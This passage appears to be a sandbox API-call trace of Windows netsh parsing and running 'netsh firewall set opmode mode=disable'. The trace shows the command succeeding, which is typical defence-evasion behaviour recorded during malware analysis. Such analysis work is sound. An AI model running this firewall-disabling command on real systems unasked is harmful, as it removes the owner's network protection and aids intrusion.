GetProcessHeap () returned 0x3d0000 [0253.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x45f6f0 [0253.478] wcscpy_s (in: _Destination=0x45f6f0, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.478] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43d3c0 | out: hHeap=0x3d0000) returned 1 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.478] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a450 | out: hHeap=0x3d0000) returned 1 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a450 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.478] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x45f710 [0253.478] wcscpy_s (in: _Destination=0x45f710, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.478] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a4d0 | out: hHeap=0x3d0000) returned 1 [0253.478] GetProcessHeap () returned 0x3d0000 [0253.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a4b0 | out: hHeap=0x3d0000) returned 1 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a4b0 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x44a4d0 [0253.479] wcscpy_s (in: _Destination=0x44a4d0, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f710 | out: hHeap=0x3d0000) returned 1 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a450 | out: hHeap=0x3d0000) returned 1 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x44a450 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x41eec0 [0253.479] wcscpy_s (in: _Destination=0x41eec0, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41ee90 | out: hHeap=0x3d0000) returned 1 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f610 | out: hHeap=0x3d0000) returned 1 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f610 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe) returned 0x45f710 [0253.479] wcscpy_s (in: _Destination=0x45f710, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f650 | out: hHeap=0x3d0000) returned 1 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f630 | out: hHeap=0x3d0000) returned 1 [0253.479] GetProcessHeap () returned 0x3d0000 [0253.479] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f630 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xa) returned 0x45f650 [0253.480] wcscpy_s (in: _Destination=0x45f650, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f690 | out: hHeap=0x3d0000) returned 1 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f670 | out: hHeap=0x3d0000) returned 1 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f670 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x41ee90 [0253.480] wcscpy_s (in: _Destination=0x41ee90, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41eeb0 | out: hHeap=0x3d0000) returned 1 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f6b0 | out: hHeap=0x3d0000) returned 1 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f6b0 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x45f690 [0253.480] wcscpy_s (in: _Destination=0x45f690, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f6f0 | out: hHeap=0x3d0000) returned 1 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f6d0 | out: hHeap=0x3d0000) returned 1 [0253.480] GetProcessHeap () returned 0x3d0000 [0253.480] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x38) returned 0x45a540 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x45f6d0 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x45f6f0 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x41eeb0 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe) returned 0x45f730 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xa) returned 0x45f750 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x45f750, Size=0xc) returned 0x45f770 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x45f770, Size=0x1a) returned 0x4558b0 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x45f770 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x45f770, Size=0xe) returned 0x45f750 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x45f750, Size=0x1e) returned 0x4558e0 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x4558e0, Size=0x20) returned 0x455910 [0253.481] GetProcessHeap () returned 0x3d0000 [0253.481] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x455910, Size=0x26) returned 0x4558e0 [0253.482] GetProcessHeap () returned 0x3d0000 [0253.482] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x4558e0, Size=0x28) returned 0x455910 [0253.482] GetProcessHeap () returned 0x3d0000 [0253.482] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x455910, Size=0x34) returned 0x45a580 [0253.482] GetProcessHeap () returned 0x3d0000 [0253.482] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x45a580, Size=0x36) returned 0x45a5c0 [0253.482] GetProcessHeap () returned 0x3d0000 [0253.482] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x45a5c0, Size=0x4e) returned 0x43ea50 [0253.482] GetProcessHeap () returned 0x3d0000 [0253.482] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43ea50 | out: hHeap=0x3d0000) returned 1 [0253.482] _wcsnicmp (_String1="firewall", _String2="dump", _MaxCount=0x8) returned 2 [0253.482] _wcsnicmp (_String1="firewall", _String2="help", _MaxCount=0x8) returned -2 [0253.482] _wcsnicmp (_String1="firewall", _String2="?", _MaxCount=0x8) returned 39 [0253.483] _wcsnicmp (_String1="firewall", _String2="exec", _MaxCount=0x8) returned 1 [0253.483] _wcsnicmp (_String1="firewall", _String2="advfirew", _MaxCount=0x8) returned 5 [0253.483] _wcsnicmp (_String1="firewall", _String2="branchca", _MaxCount=0x8) returned 4 [0253.483] _wcsnicmp (_String1="firewall", _String2="bridge", _MaxCount=0x8) returned 4 [0253.483] _wcsnicmp (_String1="firewall", _String2="dhcpclie", _MaxCount=0x8) returned 2 [0253.483] _wcsnicmp (_String1="firewall", _String2="dnsclien", _MaxCount=0x8) returned 2 [0253.483] _wcsnicmp (_String1="firewall", _String2="firewall", _MaxCount=0x8) returned 0 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.483] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f750 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.483] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f770 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.483] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4e) returned 0x43ea50 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.483] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f790 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.483] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x45f7b0 [0253.483] wcscpy_s (in: _Destination=0x45f7b0, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.483] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f7d0 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.483] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x45f7f0 [0253.483] wcscpy_s (in: _Destination=0x45f7f0, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.483] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f810 [0253.483] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x41eed0 [0253.484] wcscpy_s (in: _Destination=0x41eed0, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f830 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe) returned 0x45f850 [0253.484] wcscpy_s (in: _Destination=0x45f850, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f870 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xa) returned 0x45f890 [0253.484] wcscpy_s (in: _Destination=0x45f890, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f8b0 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x41eee0 [0253.484] wcscpy_s (in: _Destination=0x41eee0, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x45f8d0 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x45f8f0 [0253.484] wcscpy_s (in: _Destination=0x45f8f0, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43ea50 | out: hHeap=0x3d0000) returned 1 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f770 | out: hHeap=0x3d0000) returned 1 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f7f0 | out: hHeap=0x3d0000) returned 1 [0253.484] GetProcessHeap () returned 0x3d0000 [0253.484] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x45f7f0 [0253.485] _wcsnicmp (_String1="set", _String2="dum", _MaxCount=0x3) returned 15 [0253.485] _wcsnicmp (_String1="set", _String2="hel", _MaxCount=0x3) returned 11 [0253.485] _wcsnicmp (_String1="set", _String2="?", _MaxCount=0x3) returned 52 [0253.485] _wcsnicmp (_String1="set", _String2="res", _MaxCount=0x3) returned 1 [0253.485] _wcsnicmp (_String1="set", _String2="add", _MaxCount=0x3) returned 18 [0253.485] _wcsnicmp (_String1="set", _String2="del", _MaxCount=0x3) returned 15 [0253.485] _wcsnicmp (_String1="set", _String2="set", _MaxCount=0x3) returned 0 [0253.485] _wcsnicmp (_String1="opmode", _String2="help", _MaxCount=0x6) returned 7 [0253.485] _wcsnicmp (_String1="opmode", _String2="?", _MaxCount=0x6) returned 48 [0253.485] wcstok (in: _String="allowedprogram", _Delimiter=" ", _Context=0x7fef814a660 | out: _String="allowedprogram", _Context=0x7fef814a660) returned="allowedprogram" [0253.485] _wcsnicmp (_String1="opmode", _String2="allowe", _MaxCount=0x6) returned 14 [0253.485] wcstok (in: _String="icmpsetting", _Delimiter=" ", _Context=0x7fef814a630 | out: _String="icmpsetting", _Context=0x7fef814a630) returned="icmpsetting" [0253.485] _wcsnicmp (_String1="opmode", _String2="icmpse", _MaxCount=0x6) returned 6 [0253.486] wcstok (in: _String="logging", _Delimiter=" ", _Context=0x7fef814a620 | out: _String="logging", _Context=0x7fef814a620) returned="logging" [0253.486] _wcsnicmp (_String1="opmode", _String2="loggin", _MaxCount=0x6) returned 3 [0253.486] wcstok (in: _String="multicastbroadcastresponse", _Delimiter=" ", _Context=0x7fef814a5e8 | out: _String="multicastbroadcastresponse", _Context=0x7fef814a5e8) returned="multicastbroadcastresponse" [0253.486] _wcsnicmp (_String1="opmode", _String2="multic", _MaxCount=0x6) returned 2 [0253.486] wcstok (in: _String="notifications", _Delimiter=" ", _Context=0x7fef814a5c8 | out: _String="notifications", _Context=0x7fef814a5c8) returned="notifications" [0253.486] _wcsnicmp (_String1="opmode", _String2="notifi", _MaxCount=0x6) returned 1 [0253.486] wcstok (in: _String="opmode", _Delimiter=" ", _Context=0x7fef814a5b8 | out: _String="opmode", _Context=0x7fef814a5b8) returned="opmode" [0253.486] _wcsnicmp (_String1="opmode", _String2="opmode", _MaxCount=0x6) returned 0 [0253.486] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned 0x0 [0253.486] _wcsnicmp (_String1="mode=disable", _String2="help", _MaxCount=0xc) returned 5 [0253.486] _wcsnicmp (_String1="mode=disable", _String2="?", _MaxCount=0xc) returned 46 [0253.487] MatchTagsInCmdLine () returned 0x0 [0253.487] wcspbrk (_String="mode=disable", _Control="=") returned="=disable" [0253.487] GetProcessHeap () returned 0x3d0000 [0253.487] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x455910 [0253.487] wcscpy_s (in: _Destination=0x455910, _SizeInWords=0xd, _Source="mode=disable" | out: _Destination="mode=disable") returned 0x0 [0253.487] wcstok (in: _String="mode=disable", _Delimiter="=", _Context=0x4558ca*=0x0 | out: _String="mode", _Context=0x4558ca*=0x0) returned="mode" [0253.487] _wcsnicmp (_String1="mode", _String2="mode", _MaxCount=0x4) returned 0 [0253.487] wcscpy_s (in: _Destination=0x4558b0, _SizeInWords=0xd, _Source="disable" | out: _Destination="disable") returned 0x0 [0253.487] GetProcessHeap () returned 0x3d0000 [0253.487] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x455910 | out: hHeap=0x3d0000) returned 1 [0253.487] MatchEnumTag () returned 0x0 [0253.488] _wcsnicmp (_String1="disable", _String2="enable", _MaxCount=0x7) returned -1 [0253.488] _wcsnicmp (_String1="disable", _String2="disable", _MaxCount=0x7) returned 0 [0255.622] PrintError () returned 0x131 [0255.622] LoadStringW (in: hInstance=0x7fef8390000, uID=0x119a, lpBuffer=0x243420, cchBufferMax=8192 | out: lpBuffer="\nIMPORTANT: Command executed successfully.\nHowever, \"netsh firewall\" is deprecated;\nuse \"netsh advfirewall firewall\" instead.\nFor more information on using \"netsh advfirewall firewall\" commands\ninstead of \"netsh firewall\", see KB article 947709\nat http://go.microsoft.com/fwlink/?linkid=121488 .\n\n") returned 0x129 [0255.622] FormatMessageW (in: dwFlags=0x500, lpSource=0x243420, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x243400, nSize=0x0, Arguments=0x243410 | out: lpBuffer="閐E") returned 0x131 [0255.622] GetStdHandle (nStdHandle=0xfffffff5) returned 0xcc [0255.622] GetConsoleOutputCP () returned 0x1b5 [0255.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat http://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 306 [0255.623] GetProcessHeap () returned 0x3d0000 [0255.623] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x132) returned 0x45ff40 [0255.623] GetConsoleOutputCP () returned 0x1b5 [0255.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat http://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x45ff40, cbMultiByte=306, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nIMPORTANT: Command executed successfully.\r\nHowever, \"netsh firewall\" is deprecated;\r\nuse \"netsh advfirewall firewall\" instead.\r\nFor more information on using \"netsh advfirewall firewall\" commands\r\ninstead of \"netsh firewall\", see KB article 947709\r\nat http://go.microsoft.com/fwlink/?linkid=121488 .\r\n\r\n", lpUsedDefaultChar=0x0) returned 306 [0255.623] WriteFile (in: hFile=0xcc, lpBuffer=0x45ff40*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x2433d0, lpOverlapped=0x0 | out: lpBuffer=0x45ff40*, lpNumberOfBytesWritten=0x2433d0*=0x131, lpOverlapped=0x0) returned 1 [0255.623] GetProcessHeap () returned 0x3d0000 [0255.623] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45ff40 | out: hHeap=0x3d0000) returned 1 [0255.623] LocalFree (hMem=0x459590) returned 0x0 [0255.623] LoadStringW (in: hInstance=0x0, uID=0x2, lpBuffer=0x2434d0, cchBufferMax=8192 | out: lpBuffer="Ok.\n") returned 0x4 [0255.623] FormatMessageW (in: dwFlags=0x500, lpSource=0x2434d0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x2434b0, nSize=0x0, Arguments=0x2434c0 | out: lpBuffer="˝") returned 0x5 [0255.623] GetStdHandle (nStdHandle=0xfffffff5) returned 0xcc [0255.623] GetConsoleOutputCP () returned 0x1b5 [0255.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.623] GetProcessHeap () returned 0x3d0000 [0255.623] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x6) returned 0x41eef0 [0255.624] GetConsoleOutputCP () returned 0x1b5 [0255.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Ok.\r\n", cchWideChar=-1, lpMultiByteStr=0x41eef0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ok.\r\n", lpUsedDefaultChar=0x0) returned 6 [0255.624] WriteFile (in: hFile=0xcc, lpBuffer=0x41eef0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x243460, lpOverlapped=0x0 | out: lpBuffer=0x41eef0*, lpNumberOfBytesWritten=0x243460*=0x5, lpOverlapped=0x0) returned 1 [0255.624] GetProcessHeap () returned 0x3d0000 [0255.624] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41eef0 | out: hHeap=0x3d0000) returned 1 [0255.624] LocalFree (hMem=0x2ddefb0) returned 0x0 [0255.624] FormatMessageW (in: dwFlags=0x500, lpSource=0x13d1504, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x2474e0, nSize=0x0, Arguments=0x2474f0 | out: lpBuffer="E") returned 0x2 [0255.624] GetStdHandle (nStdHandle=0xfffffff5) returned 0xcc [0255.624] GetConsoleOutputCP () returned 0x1b5 [0255.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.624] GetProcessHeap () returned 0x3d0000 [0255.624] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x3) returned 0x41eef0 [0255.624] GetConsoleOutputCP () returned 0x1b5 [0255.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x41eef0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0255.624] WriteFile (in: hFile=0xcc, lpBuffer=0x41eef0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x247490, lpOverlapped=0x0 | out: lpBuffer=0x41eef0*, lpNumberOfBytesWritten=0x247490*=0x2, lpOverlapped=0x0) returned 1 [0255.624] GetProcessHeap () returned 0x3d0000 [0255.624] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41eef0 | out: hHeap=0x3d0000) returned 1 [0255.625] LocalFree (hMem=0x45f770) returned 0x0 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f6d0 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f6f0 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41eeb0 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f730 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4558b0 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45a540 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a4d0 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a4b0 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41eec0 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a450 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f710 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f610 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f650 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f630 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x41ee90 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f670 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f690 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x45f6b0 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a430 | out: hHeap=0x3d0000) returned 1 [0255.625] GetProcessHeap () returned 0x3d0000 [0255.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a490 | out: hHeap=0x3d0000) returned 1 [0255.626] GetProcessHeap () returned 0x3d0000 [0255.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a470 | out: hHeap=0x3d0000) returned 1 [0255.626] GetProcessHeap () returned 0x3d0000 [0255.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x44a410 | out: hHeap=0x3d0000) returned 1 [0255.930] GetProcessHeap () returned 0x3d0000 [0255.930] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42f400 | out: hHeap=0x3d0000) returned 1 [0255.931] FreeLibrary (hLibModule=0x13d0000) returned 1 [0255.931] FreeLibrary (hLibModule=0x7fef9270000) returned 1 [0255.931] free (_Block=0x6c7ea0) [0255.932] LocalFree (hMem=0x3f63e0) returned 